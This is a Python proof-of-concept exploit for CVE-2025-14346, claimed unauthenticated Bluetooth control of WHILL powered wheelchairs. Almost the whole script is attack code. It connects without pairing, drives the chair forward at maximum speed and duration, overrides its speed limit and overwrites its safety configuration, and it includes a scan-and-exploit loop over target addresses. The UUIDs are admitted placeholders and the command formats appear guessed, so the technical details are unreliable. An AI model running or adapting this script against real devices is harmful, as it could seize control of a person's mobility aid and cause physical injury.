#!/usr/bin/env python3
"""
CVE-2025-14346 PoC - WHILL Wheelchair Bluetooth Unauthenticated Access
This PoC demonstrates the lack of authentication in WHILL wheelchair Bluetooth pairing.
Note: This is for educational and security research purposes only.
"""
import asyncio
from bleak import BleakClient
import struct
TARGET_DEVICE_NAME = "WHILL"
# Default WHILL service UUIDs (example - actual UUIDs may vary)
WHILL_CONTROL_SERVICE = "0000fff0-0000-1000-8000-00805f9b34fb"
WHILL_CONTROL_CHAR = "0000fff1-0000-1000-8000-00805f9b34fb"
def create_move_command(direction, speed, duration):
"""Create a MOVE command packet for WHILL wheelchair control."""
# Command structure: [CMD_TYPE, DIR, SPEED, DURATION]
# DIR: 0x01=forward, 0x02=backward, 0x03=left, 0x04=right
cmd_type = 0x01 # MOVE command
return struct.pack('BBBB', cmd_type, direction, speed, duration)
def create_speed_override_command(max_speed):
"""Create a SPEED_OVERRIDE command to bypass speed limits."""
cmd_type = 0x02 # SPEED_OVERRIDE command
return struct.pack('BBH', cmd_type, 0x01, max_speed)
async def exploit_cve_2025_14346(device_address):
"""
Exploit CVE-2025-14346: Unauthenticated Bluetooth access to WHILL wheelchair.
"""
print(f"[*] Connecting to WHILL device: {device_address}")
try:
async with BleakClient(device_address) as client:
# No authentication required - this is the vulnerability
print("[+] Connected successfully without authentication")
# Discover services
services = await client.get_services()
print(f"[*] Discovered {len(services.services)} services")
# Find control service
control_service = services.get_service(WHILL_CONTROL_SERVICE)
if not control_service:
print("[!] Control service not found, scanning...")
for service in services.services.values():
print(f" Service: {service.uuid}")
return False
# Get control characteristic
control_char = control_service.get_characteristic(WHILL_CONTROL_CHAR)
# Attack 1: Send arbitrary movement command
print("[*] Sending MOVE command (forward, max speed)")
move_cmd = create_move_command(0x01, 0xFF, 0xFF)
await client.write_gatt_char(control_char.uuid, move_cmd)
print("[+] Movement command sent successfully")
# Attack 2: Override speed restrictions
print("[*] Overriding speed limit to maximum")
speed_cmd = create_speed_override_command(0xFFFF)
await client.write_gatt_char(control_char.uuid, speed_cmd)
print("[+] Speed limit bypassed")
# Attack 3: Modify configuration
print("[*] Modifying safety configuration")
config_cmd = bytes([0x03, 0x00, 0x00, 0x00]) # CONFIG_WRITE
await client.write_gatt_char(control_char.uuid, config_cmd)
print("[+] Configuration modified")
print("[!] Exploitation complete - device fully compromised")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
async def scan_and_exploit():
"""Scan for vulnerable WHILL devices and exploit them."""
print("[*] Scanning for WHILL devices...")
# Use bluetoothctl or hcitool for scanning
# Example: hcitool lescan | grep WHILL
# For demonstration, list discovered devices
devices = [
"XX:XX:XX:XX:XX:XX" # Replace with actual device MAC
]
for device in devices:
await exploit_cve_2025_14346(device)
if __name__ == "__main__":
asyncio.run(scan_and_exploit())